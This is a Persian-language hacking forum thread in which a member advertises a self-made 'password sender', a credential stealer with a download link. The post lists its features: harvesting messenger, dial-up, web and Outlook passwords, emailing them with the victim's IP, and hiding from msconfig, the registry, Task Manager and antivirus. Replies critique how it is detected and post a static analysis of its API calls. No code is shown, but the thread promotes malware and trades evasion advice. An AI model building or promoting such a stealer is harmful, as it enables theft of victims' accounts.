پاسورد سندر قوي.

[kamran11958]

سلام
آقا منم يه(با همفكري كريشنا) پي اس نوشتم ببينين:
www.takclick.com/gsender
امكانات:
فرستادن تمامی پاسورد و آی دی مسنجرها (یاهو , Msn, ICQ, ...)

فرستادن تمامی رمز های DialUp به علاوه یوزر نیم و شماره اتصال در تمامی ویندوزها.

فرستادن تمامی رمزهای زده شده در صفحات وب و OutLook به طرزی باور نکردنی! به طوری که پاسوردهایی که چند ماه قبل نیز زده شدن از چشم این برنامه پنهان نمیمونه! پاسوردهایی مثل پاسوردهای ورود به کنترل پنل سایت ها اف تی پی و ... نیز شامل لیست بلند پسوردها میباشند!

ارسال پاسوردها از طریق ایمیل با روشی کاملا جدید به هر ایمیلی. (جی میل، یاهو و ...)

ارسال پاسوردها به صورت جدول بندی شده و با ظاهری زیبا و فرمت بندی شده.

ارسال یوزر نیم و اسم کامپیوتر قربانی به همراه پاسورد.

ارسال زمان هک شدن (به وقت رسمی ایران-گرینویچ + 3.5) و آی پی قربانی در موضوع ایمیل.

مخفی شدن در MsConfig و RegEdit که باعث میشه شناسایی برنامه خیلی مشکل بشه. این برنامه از روشی کاملا جدید برای استارت آپ استفاده میکنه.

عدم شناسایی توسط انتی ویروس.

مخفی ماندن در تسک منیجر (Ctrl +Alt +Del) که دیگه شناسایی برنامه رو غیر ممکن میکنه!

عدم کاهش سرعت سیستم و استفاده از کمترین منابع ممکن سیستم.

مخفی بودن فایل اجرایی پس از نصب.

نمیتوان برنامه رو بر روی سیستمی نصب کرد که قبلا آلوده شده (برای اختصاصی کردن سیستم قربانی فقط برای خود!)

امکان Bind کردن سرور به فایلی دیگر.

امکان انتخاب آیکن دلخواه.

عدم ارسال میل پس از هر اتصالی. فقط زمانی میل جدید ارسال میکنه که تغییری (حتی یک حرف) در پاسوردها به وجود بیاد.

با وجود این لیست طویل حجم سرور تنها 15 کیلوبایت هست!

8O 8O 8O 8O 8O 8O 8O

[behzad-khazama]

سلام عزيزم
خسته نباشيد . خوب خيلي خوشحام كه جزو اولين كساني بودم كه اينو ديدم . اينم نظر من :
1- خدا پدر Nirsoft رو بيامرزه با اين برنامه هاش
2- بعد از اجرا فورا فايروال گيرش انداخت ( به دليل استفاده از كامپوننت WebBrowser
3- پس از 3 ثانيه بعد از اجرا برنامه DAP من اومد بالا و كفت ايشون ميخاد 3 تا برنامه يه باره داونلود كنه كه هر سه رو هم 100 كيلوبايت حجم داشت و همشم برنامههاي Nirsoft بود براي مسنجر . ديالآپ و پسوردهاي كچ شدخه .
4- به فرض كه هر سه برنامه داونلود هم شد نياز به چند بار ايجاد فايل Temp ميباشد كه آنها را به برنامه منتقل كنيد
5- اين روش در سيستمهاي ليميت عملي نيست
6-استفاده از روش POST براي ميل زدن كه در SP2 كارايي ندارد و باعث كشف آن ميشود
7- باقيشم به خود آقا كامران گفتم ديگه سرتونو درد نميارم :wink:
-------------------
فك ميكنم براي فروش هنوز زود باشه عزيز . يه نگاه به همينجا بندازي ميبيني كه PS هاي خيلي بهتري با سورس اينجا هستش

اين برنامه چيزي جز يه webdownloadr نيست كه چند تا فايلو با چه تابلوي ميخاد داونلود كنه ( اگه قبلش فايروال رو Ok كنيد البته )

اميدوارم كه از طرز انتقادم ناراحت نشده باشيد . ولي اينجور به نظر ميرسه كه شما با چند تا فايل كه از اينطرف اونطرف گرفتي و بدون زحمت خودت ميخاي اينو بزرگ جلوه بدي .

[ha_60]

اينجور به نظر ميرسه كه شما با چند تا فايل كه از اينطرف اونطرف گرفتي و بدون زحمت خودت ميخاي اينو بزرگ جلوه بدي .

یادته یه بار یه چنین چیزی برا PS خودت نوشتم چه قدر ناراحت شدی حالا چرا دل بچه مردم رو میشکنی
صبر کن درست میشه

[behzad-khazama]

سلام هادي جان خوبي ؟
آقا چرا نايين نيومدي ديگه ؟ خلاصه شرمنده اونروز ديگه ديدي چه وضعي بود خيلي دوست داشتم يه گپي ميزديم .
عزيز اگه شمام يادت باشه شما اشتباهي يه برنامه ديگرو به جاي BPS عوضي تست كرده بودي و عزيز من يه همچين چيزي رو كلي تعريف نميكردم بعد 5000 بفروشم اول كامل ميكردم بعد تعريف و اينكه لااقل خودم روش كار ميكردم نكه هر قسمتو از يه جا بردارم . و اينكه هر چي خاستم چيزي نگم نشد آخه خيلي تابلو بود كارش :oops:

[kamran11958]

سلام عزيزم
خسته نباشيد . خوب خيلي خوشحام كه جزو اولين كساني بودم كه اينو ديدم . اينم نظر من :
1- خدا پدر Nirsoft رو بيامرزه با اين برنامه هاش
2- بعد از اجرا فورا فايروال گيرش انداخت ( به دليل استفاده از كامپوننت WebBrowser
3- پس از 3 ثانيه بعد از اجرا برنامه DAP من اومد بالا و كفت ايشون ميخاد 3 تا برنامه يه باره داونلود كنه كه هر سه رو هم 100 كيلوبايت حجم داشت و همشم برنامههاي Nirsoft بود براي مسنجر . ديالآپ و پسوردهاي كچ شدخه .
4- به فرض كه هر سه برنامه داونلود هم شد نياز به چند بار ايجاد فايل Temp ميباشد كه آنها را به برنامه منتقل كنيد
5- اين روش در سيستمهاي ليميت عملي نيست
6-استفاده از روش POST براي ميل زدن كه در SP2 كارايي ندارد و باعث كشف آن ميشود
7- باقيشم به خود آقا كامران گفتم ديگه سرتونو درد نميارم :wink:
-------------------
فك ميكنم براي فروش هنوز زود باشه عزيز . يه نگاه به همينجا بندازي ميبيني كه PS هاي خيلي بهتري با سورس اينجا هستش

اين برنامه چيزي جز يه webdownloadr نيست كه چند تا فايلو با چه تابلوي ميخاد داونلود كنه ( اگه قبلش فايروال رو Ok كنيد البته )

اميدوارم كه از طرز انتقادم ناراحت نشده باشيد . ولي اينجور به نظر ميرسه كه شما با چند تا فايل كه از اينطرف اونطرف گرفتي و بدون زحمت خودت ميخاي اينو بزرگ جلوه بدي .

مرسي از توضيحاتت بهزاد جون
اين نسخه نمايشي هست! و فعلا دارم رو نسخه اصلي كار ميكنم.
د ر ضمن فروشيش اين نيست!!! :twisted: :twisted:

[kkr124]

:( :( :( :(
بهزاد از تو بعيد بود :evil: :evil:

[amirjan]

1- خدا پدر Nirsoft رو بيامرزه با اين برنامه هاش
2- بعد از اجرا فورا فايروال گيرش انداخت ( به دليل استفاده از كامپوننت WebBrowser
3- پس از 3 ثانيه بعد از اجرا برنامه DAP من اومد بالا و كفت ايشون ميخاد 3 تا برنامه يه باره داونلود كنه كه هر سه رو هم 100 كيلوبايت حجم داشت و همشم برنامههاي Nirsoft بود براي مسنجر . ديالآپ و پسوردهاي كچ شدخه .
4- به فرض كه هر سه برنامه داونلود هم شد نياز به چند بار ايجاد فايل Temp ميباشد كه آنها را به برنامه منتقل كنيد
5- اين روش در سيستمهاي ليميت عملي نيست
6-استفاده از روش POST براي ميل زدن كه در SP2 كارايي ندارد و باعث كشف آن ميشود
7- باقيشم به خود آقا كامران گفتم ديگه سرتونو درد نميارم :wink:

به اضافه اينكه راحت UNpack شد :

کد:

Program: spool-32.exe
Size: 15362 Bytes
Source Directory: C:\Documents and Settings\free\My Documents\GSender\Project1.vbp
-----------------------------------------
UPX: Packed with UPX
Accesses Y! User ID: True
Accesses Saved Y! Password: Doesnt seem to access EOptions string
Other Notices:
    Possibly connects to internet with inet.ocx
    Edits registry via advapi32.dll
    Made in VB6
    Uses explorer.exe (possibly for new IE window)
    
Controls / Libraries Found:
    shdocvw.dll
    shlwapi.dll
    advapi32.dll
    wininet.dll
    KERNEL32.DLL
    user32
    
Control Cache Paths Found:
    C:\WINDOWS\System32\shdocvw.ocx
    
API Function Calls Found:
    SetFileAttributesA
    PathFileExistsA
    GetUserNameA
    GetComputerNameA
    InternetGetConnectedState
    URLDownloadToFileA
    RegOpenKeyExA
    RegCloseKey
    RegCreateKeyExA
    RegDeleteKeyA
    RegSetValueExA
    FindWindowA
    GetWindowThreadProcessId
    OpenProcess
    WriteProcessMemory
    ReadProcessMemory
    CloseHandle
    FormatMessageA
    GetLastError
    Process32First
    Process32Next
    CreateToolhelp32Snapshot
    WaitForSingleObject

منظوري نداشتم ، همين جوري :wink:

[kamran11958]

1- خدا پدر Nirsoft رو بيامرزه با اين برنامه هاش
2- بعد از اجرا فورا فايروال گيرش انداخت ( به دليل استفاده از كامپوننت WebBrowser
3- پس از 3 ثانيه بعد از اجرا برنامه DAP من اومد بالا و كفت ايشون ميخاد 3 تا برنامه يه باره داونلود كنه كه هر سه رو هم 100 كيلوبايت حجم داشت و همشم برنامههاي Nirsoft بود براي مسنجر . ديالآپ و پسوردهاي كچ شدخه .
4- به فرض كه هر سه برنامه داونلود هم شد نياز به چند بار ايجاد فايل Temp ميباشد كه آنها را به برنامه منتقل كنيد
5- اين روش در سيستمهاي ليميت عملي نيست
6-استفاده از روش POST براي ميل زدن كه در SP2 كارايي ندارد و باعث كشف آن ميشود
7- باقيشم به خود آقا كامران گفتم ديگه سرتونو درد نميارم :wink:

به اضافه اينكه راحت UNpack شد :

کد:

Program: spool-32.exe
Size: 15362 Bytes
Source Directory: C:\Documents and Settings\free\My Documents\GSender\Project1.vbp
-----------------------------------------
UPX: Packed with UPX
Accesses Y! User ID: True
Accesses Saved Y! Password: Doesnt seem to access EOptions string
Other Notices:
    Possibly connects to internet with inet.ocx
    Edits registry via advapi32.dll
    Made in VB6
    Uses explorer.exe (possibly for new IE window)
    
Controls / Libraries Found:
    shdocvw.dll
    shlwapi.dll
    advapi32.dll
    wininet.dll
    KERNEL32.DLL
    user32
    
Control Cache Paths Found:
    C:\WINDOWS\System32\shdocvw.ocx
    
API Function Calls Found:
    SetFileAttributesA
    PathFileExistsA
    GetUserNameA
    GetComputerNameA
    InternetGetConnectedState
    URLDownloadToFileA
    RegOpenKeyExA
    RegCloseKey
    RegCreateKeyExA
    RegDeleteKeyA
    RegSetValueExA
    FindWindowA
    GetWindowThreadProcessId
    OpenProcess
    WriteProcessMemory
    ReadProcessMemory
    CloseHandle
    FormatMessageA
    GetLastError
    Process32First
    Process32Next
    CreateToolhelp32Snapshot
    WaitForSingleObject

منظوري نداشتم ، همين جوري :wink:

مرسي از محبت دوستان. اين چه برنامه ايه اميرجون؟؟! خيلي باحاله! :P

[afshin]

امير از اين برنامه ها داري و به ما نميگي ؟؟

اي كلك .... :cry: :cry: :cry:

:wink:

كامران جون من بهت تبريك ميگم ... كارت درسته ... همچنين به خانم كريشنا .....

احسنتم :arrow:

[amirjan]

چه برنامه اي !!؟ unpack كردن upx كه برنامه نمي خواد !! با خود upx آنپك كردم . :wink:

[kamran11958]

سلام
بابا ميدونم اينقدرهام ضايع نيستم پس اينا چيه؟!

کد:

Other Notices:
   Possibly connects to internet with inet.ocx
   Edits registry via advapi32.dll
   Made in VB6
   Uses explorer.exe (possibly for new IE window)